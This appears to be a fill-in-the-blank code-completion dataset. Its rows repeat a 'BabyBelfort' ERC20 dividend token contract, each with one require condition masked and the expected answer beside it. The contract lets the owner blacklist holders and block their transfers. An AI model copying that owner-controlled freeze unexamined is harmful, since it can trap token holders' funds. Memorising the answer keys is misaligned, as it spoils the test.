uint256,
uint256,
uint256,
uint256) {
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function processDividendTracker(uint256 gas) external {
}
function claim() external {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndSendToDev(uint256 tokens) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapAndSendDividends(uint256 tokens) private {
}
}
| !_isExcludedFromFees[account],"BabyBelfort: Account is already excluded from fees" | 18,265 | !_isExcludedFromFees[account] |
"Account is already blacklisted" | contract BabyBelfortDividendTracker is DividendPayingToken, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 10000 * (10**18); // Must hold 10000+ tokens.
event ExcludedFromDividends(address indexed account);
event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor() DividendPayingToken("BabyBelfort_Dividend_Tracker", "BabyBelfort_Dividend_Tracker") {
}
function _transfer(address, address, uint256) internal pure override {
}
function withdrawDividend() public pure override {
}
function excludeFromDividends(address account) external onlyOwner {
}
function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner {
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfTokenHolders() external view returns(uint256) {
}
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
}
function getAccountAtIndex(uint256 index)
public view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function process(uint256 gas) public returns (uint256, uint256, uint256) {
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
}
}
contract BabyBelfort is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private liquidating;
BabyBelfortDividendTracker public dividendTracker;
address public liquidityWallet;
uint256 public constant MAX_SELL_TRANSACTION_AMOUNT = 10000000 * (10**18);
uint256 public constant ETH_REWARDS_FEE = 7;
uint256 public constant LIQUIDITY_FEE = 7;
uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE;
bool _swapEnabled = false;
bool _maxBuyEnabled = true;
bool openForPresale = true;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private tCount=0;
address payable private _devWallet;
// use by default 150,000 gas to process auto-claiming dividends
uint256 public gasForProcessing = 150000;
// liquidate tokens for ETH when the contract reaches 100k tokens by default
uint256 public liquidateTokensAtAmount = 100000 * (10**18);
// whether the token can already be traded
bool public tradingEnabled;
function activate() public onlyOwner {
}
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// addresses that can make transfers before presale is over
mapping (address => bool) public canTransferBeforeTradingIsEnabled;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Liquified(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapAndSendToDev(
uint256 tokensSwapped,
uint256 ethReceived
);
event SentDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
constructor(address payable devWallet) ERC20("Baby Belfort", "BabyBelfort") {
}
receive() external payable {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function excludeFromFees(address account) public onlyOwner {
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
}
function getGasForTransfer() external view returns(uint256) {
}
function setOpenForPresale(bool open )external onlyOwner {
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(<FILL_ME>)
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
}
function enableDisableDevFee(bool _devFeeEnabled ) public returns (bool){
}
function setMaxBuyEnabled(bool enabled ) external onlyOwner {
}
function getClaimWait() external view returns(uint256) {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function withdrawableDividendOf(address account) public view returns(uint256) {
}
function dividendTokenBalanceOf(address account) public view returns (uint256) {
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function processDividendTracker(uint256 gas) external {
}
function claim() external {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndSendToDev(uint256 tokens) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapAndSendDividends(uint256 tokens) private {
}
}
| !_isBlackListedBot[account],"Account is already blacklisted" | 18,265 | !_isBlackListedBot[account] |
"Account is not blacklisted" | contract BabyBelfortDividendTracker is DividendPayingToken, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 10000 * (10**18); // Must hold 10000+ tokens.
event ExcludedFromDividends(address indexed account);
event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor() DividendPayingToken("BabyBelfort_Dividend_Tracker", "BabyBelfort_Dividend_Tracker") {
}
function _transfer(address, address, uint256) internal pure override {
}
function withdrawDividend() public pure override {
}
function excludeFromDividends(address account) external onlyOwner {
}
function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner {
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfTokenHolders() external view returns(uint256) {
}
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
}
function getAccountAtIndex(uint256 index)
public view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function process(uint256 gas) public returns (uint256, uint256, uint256) {
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
}
}
contract BabyBelfort is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private liquidating;
BabyBelfortDividendTracker public dividendTracker;
address public liquidityWallet;
uint256 public constant MAX_SELL_TRANSACTION_AMOUNT = 10000000 * (10**18);
uint256 public constant ETH_REWARDS_FEE = 7;
uint256 public constant LIQUIDITY_FEE = 7;
uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE;
bool _swapEnabled = false;
bool _maxBuyEnabled = true;
bool openForPresale = true;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private tCount=0;
address payable private _devWallet;
// use by default 150,000 gas to process auto-claiming dividends
uint256 public gasForProcessing = 150000;
// liquidate tokens for ETH when the contract reaches 100k tokens by default
uint256 public liquidateTokensAtAmount = 100000 * (10**18);
// whether the token can already be traded
bool public tradingEnabled;
function activate() public onlyOwner {
}
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// addresses that can make transfers before presale is over
mapping (address => bool) public canTransferBeforeTradingIsEnabled;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Liquified(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapAndSendToDev(
uint256 tokensSwapped,
uint256 ethReceived
);
event SentDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
constructor(address payable devWallet) ERC20("Baby Belfort", "BabyBelfort") {
}
receive() external payable {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function excludeFromFees(address account) public onlyOwner {
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
}
function getGasForTransfer() external view returns(uint256) {
}
function setOpenForPresale(bool open )external onlyOwner {
}
function addBotToBlackList(address account) external onlyOwner() {
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(<FILL_ME>)
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function enableDisableDevFee(bool _devFeeEnabled ) public returns (bool){
}
function setMaxBuyEnabled(bool enabled ) external onlyOwner {
}
function getClaimWait() external view returns(uint256) {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function withdrawableDividendOf(address account) public view returns(uint256) {
}
function dividendTokenBalanceOf(address account) public view returns (uint256) {
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function processDividendTracker(uint256 gas) external {
}
function claim() external {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndSendToDev(uint256 tokens) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapAndSendDividends(uint256 tokens) private {
}
}
| _isBlackListedBot[account],"Account is not blacklisted" | 18,265 | _isBlackListedBot[account] |
"You have no power here!" | contract BabyBelfortDividendTracker is DividendPayingToken, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 10000 * (10**18); // Must hold 10000+ tokens.
event ExcludedFromDividends(address indexed account);
event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor() DividendPayingToken("BabyBelfort_Dividend_Tracker", "BabyBelfort_Dividend_Tracker") {
}
function _transfer(address, address, uint256) internal pure override {
}
function withdrawDividend() public pure override {
}
function excludeFromDividends(address account) external onlyOwner {
}
function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner {
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfTokenHolders() external view returns(uint256) {
}
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
}
function getAccountAtIndex(uint256 index)
public view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function process(uint256 gas) public returns (uint256, uint256, uint256) {
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
}
}
contract BabyBelfort is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private liquidating;
BabyBelfortDividendTracker public dividendTracker;
address public liquidityWallet;
uint256 public constant MAX_SELL_TRANSACTION_AMOUNT = 10000000 * (10**18);
uint256 public constant ETH_REWARDS_FEE = 7;
uint256 public constant LIQUIDITY_FEE = 7;
uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE;
bool _swapEnabled = false;
bool _maxBuyEnabled = true;
bool openForPresale = true;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private tCount=0;
address payable private _devWallet;
// use by default 150,000 gas to process auto-claiming dividends
uint256 public gasForProcessing = 150000;
// liquidate tokens for ETH when the contract reaches 100k tokens by default
uint256 public liquidateTokensAtAmount = 100000 * (10**18);
// whether the token can already be traded
bool public tradingEnabled;
function activate() public onlyOwner {
}
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// addresses that can make transfers before presale is over
mapping (address => bool) public canTransferBeforeTradingIsEnabled;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Liquified(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapAndSendToDev(
uint256 tokensSwapped,
uint256 ethReceived
);
event SentDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
constructor(address payable devWallet) ERC20("Baby Belfort", "BabyBelfort") {
}
receive() external payable {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function excludeFromFees(address account) public onlyOwner {
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
}
function getGasForTransfer() external view returns(uint256) {
}
function setOpenForPresale(bool open )external onlyOwner {
}
function addBotToBlackList(address account) external onlyOwner() {
}
function removeBotFromBlackList(address account) external onlyOwner() {
}
function enableDisableDevFee(bool _devFeeEnabled ) public returns (bool){
}
function setMaxBuyEnabled(bool enabled ) external onlyOwner {
}
function getClaimWait() external view returns(uint256) {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function withdrawableDividendOf(address account) public view returns(uint256) {
}
function dividendTokenBalanceOf(address account) public view returns (uint256) {
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function processDividendTracker(uint256 gas) external {
}
function claim() external {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
require(!_isBlackListedBot[msg.sender], "You have no power here!");
require(!_isBlackListedBot[from], "You have no power here!");
//to prevent bots both buys and sells will have a max on launch after only sells will
if(from != owner() && to != owner() && _maxBuyEnabled)
require(amount <= MAX_SELL_TRANSACTION_AMOUNT, "Transfer amount exceeds the maxTxAmount.");
bool tradingIsEnabled = tradingEnabled;
// only whitelisted addresses can make transfers before the public presale is over.
if (!tradingIsEnabled) {
if(!openForPresale){
require(canTransferBeforeTradingIsEnabled[from], "TestToken: This account cannot send tokens until trading is enabled");
}
}
if ((from == uniswapV2Pair || to == uniswapV2Pair) && tradingIsEnabled) {
//require(!antiBot.scanAddress(from, uniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
// require(!antiBot.scanAddress(to, uniswair, tx.origin), "Beep Beep Boop, You're a piece of poop");
}
if(tCount < 26)
tCount = tCount.add(1);
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (!liquidating &&
tradingIsEnabled &&
automatedMarketMakerPairs[to] && // sells only by detecting transfer to automated market maker pair
from != address(uniswapV2Router) && //router -> pair is removing liquidity which shouldn't have max
!_isExcludedFromFees[to] //no max for those excluded from fees
) {
require(amount <= MAX_SELL_TRANSACTION_AMOUNT, "Sell transfer amount exceeds the MAX_SELL_TRANSACTION_AMOUNT.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= liquidateTokensAtAmount;
if (tradingIsEnabled &&
canSwap &&
_swapEnabled &&
!liquidating &&
!automatedMarketMakerPairs[from] &&
from != liquidityWallet &&
to != liquidityWallet
) {
liquidating = true;
uint256 swapTokens = contractTokenBalance.mul(LIQUIDITY_FEE).div(TOTAL_FEES);
swapAndSendToDev(swapTokens);
uint256 sellTokens = balanceOf(address(this));
swapAndSendDividends(sellTokens);
liquidating = false;
}
bool takeFee = tradingIsEnabled && !liquidating;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(TOTAL_FEES).div(100);
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {}
try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {
}
if (!liquidating) {
uint256 gas = gasForProcessing;
try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) {
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin);
} catch {
}
}
}
function swapAndSendToDev(uint256 tokens) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapAndSendDividends(uint256 tokens) private {
}
}
| !_isBlackListedBot[to],"You have no power here!" | 18,265 | !_isBlackListedBot[to] |
"You have no power here!" | contract BabyBelfortDividendTracker is DividendPayingToken, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 10000 * (10**18); // Must hold 10000+ tokens.
event ExcludedFromDividends(address indexed account);
event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor() DividendPayingToken("BabyBelfort_Dividend_Tracker", "BabyBelfort_Dividend_Tracker") {
}
function _transfer(address, address, uint256) internal pure override {
}
function withdrawDividend() public pure override {
}
function excludeFromDividends(address account) external onlyOwner {
}
function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner {
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfTokenHolders() external view returns(uint256) {
}
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
}
function getAccountAtIndex(uint256 index)
public view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function process(uint256 gas) public returns (uint256, uint256, uint256) {
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
}
}
contract BabyBelfort is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private liquidating;
BabyBelfortDividendTracker public dividendTracker;
address public liquidityWallet;
uint256 public constant MAX_SELL_TRANSACTION_AMOUNT = 10000000 * (10**18);
uint256 public constant ETH_REWARDS_FEE = 7;
uint256 public constant LIQUIDITY_FEE = 7;
uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE;
bool _swapEnabled = false;
bool _maxBuyEnabled = true;
bool openForPresale = true;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private tCount=0;
address payable private _devWallet;
// use by default 150,000 gas to process auto-claiming dividends
uint256 public gasForProcessing = 150000;
// liquidate tokens for ETH when the contract reaches 100k tokens by default
uint256 public liquidateTokensAtAmount = 100000 * (10**18);
// whether the token can already be traded
bool public tradingEnabled;
function activate() public onlyOwner {
}
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// addresses that can make transfers before presale is over
mapping (address => bool) public canTransferBeforeTradingIsEnabled;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Liquified(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapAndSendToDev(
uint256 tokensSwapped,
uint256 ethReceived
);
event SentDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
constructor(address payable devWallet) ERC20("Baby Belfort", "BabyBelfort") {
}
receive() external payable {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function excludeFromFees(address account) public onlyOwner {
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
}
function getGasForTransfer() external view returns(uint256) {
}
function setOpenForPresale(bool open )external onlyOwner {
}
function addBotToBlackList(address account) external onlyOwner() {
}
function removeBotFromBlackList(address account) external onlyOwner() {
}
function enableDisableDevFee(bool _devFeeEnabled ) public returns (bool){
}
function setMaxBuyEnabled(bool enabled ) external onlyOwner {
}
function getClaimWait() external view returns(uint256) {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function withdrawableDividendOf(address account) public view returns(uint256) {
}
function dividendTokenBalanceOf(address account) public view returns (uint256) {
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function processDividendTracker(uint256 gas) external {
}
function claim() external {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isBlackListedBot[to], "You have no power here!");
require(<FILL_ME>)
require(!_isBlackListedBot[from], "You have no power here!");
//to prevent bots both buys and sells will have a max on launch after only sells will
if(from != owner() && to != owner() && _maxBuyEnabled)
require(amount <= MAX_SELL_TRANSACTION_AMOUNT, "Transfer amount exceeds the maxTxAmount.");
bool tradingIsEnabled = tradingEnabled;
// only whitelisted addresses can make transfers before the public presale is over.
if (!tradingIsEnabled) {
if(!openForPresale){
require(canTransferBeforeTradingIsEnabled[from], "TestToken: This account cannot send tokens until trading is enabled");
}
}
if ((from == uniswapV2Pair || to == uniswapV2Pair) && tradingIsEnabled) {
//require(!antiBot.scanAddress(from, uniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
// require(!antiBot.scanAddress(to, uniswair, tx.origin), "Beep Beep Boop, You're a piece of poop");
}
if(tCount < 26)
tCount = tCount.add(1);
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (!liquidating &&
tradingIsEnabled &&
automatedMarketMakerPairs[to] && // sells only by detecting transfer to automated market maker pair
from != address(uniswapV2Router) && //router -> pair is removing liquidity which shouldn't have max
!_isExcludedFromFees[to] //no max for those excluded from fees
) {
require(amount <= MAX_SELL_TRANSACTION_AMOUNT, "Sell transfer amount exceeds the MAX_SELL_TRANSACTION_AMOUNT.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= liquidateTokensAtAmount;
if (tradingIsEnabled &&
canSwap &&
_swapEnabled &&
!liquidating &&
!automatedMarketMakerPairs[from] &&
from != liquidityWallet &&
to != liquidityWallet
) {
liquidating = true;
uint256 swapTokens = contractTokenBalance.mul(LIQUIDITY_FEE).div(TOTAL_FEES);
swapAndSendToDev(swapTokens);
uint256 sellTokens = balanceOf(address(this));
swapAndSendDividends(sellTokens);
liquidating = false;
}
bool takeFee = tradingIsEnabled && !liquidating;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(TOTAL_FEES).div(100);
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {}
try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {
}
if (!liquidating) {
uint256 gas = gasForProcessing;
try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) {
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin);
} catch {
}
}
}
function swapAndSendToDev(uint256 tokens) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapAndSendDividends(uint256 tokens) private {
}
}
| !_isBlackListedBot[msg.sender],"You have no power here!" | 18,265 | !_isBlackListedBot[msg.sender] |
"You have no power here!" | contract BabyBelfortDividendTracker is DividendPayingToken, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 10000 * (10**18); // Must hold 10000+ tokens.
event ExcludedFromDividends(address indexed account);
event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
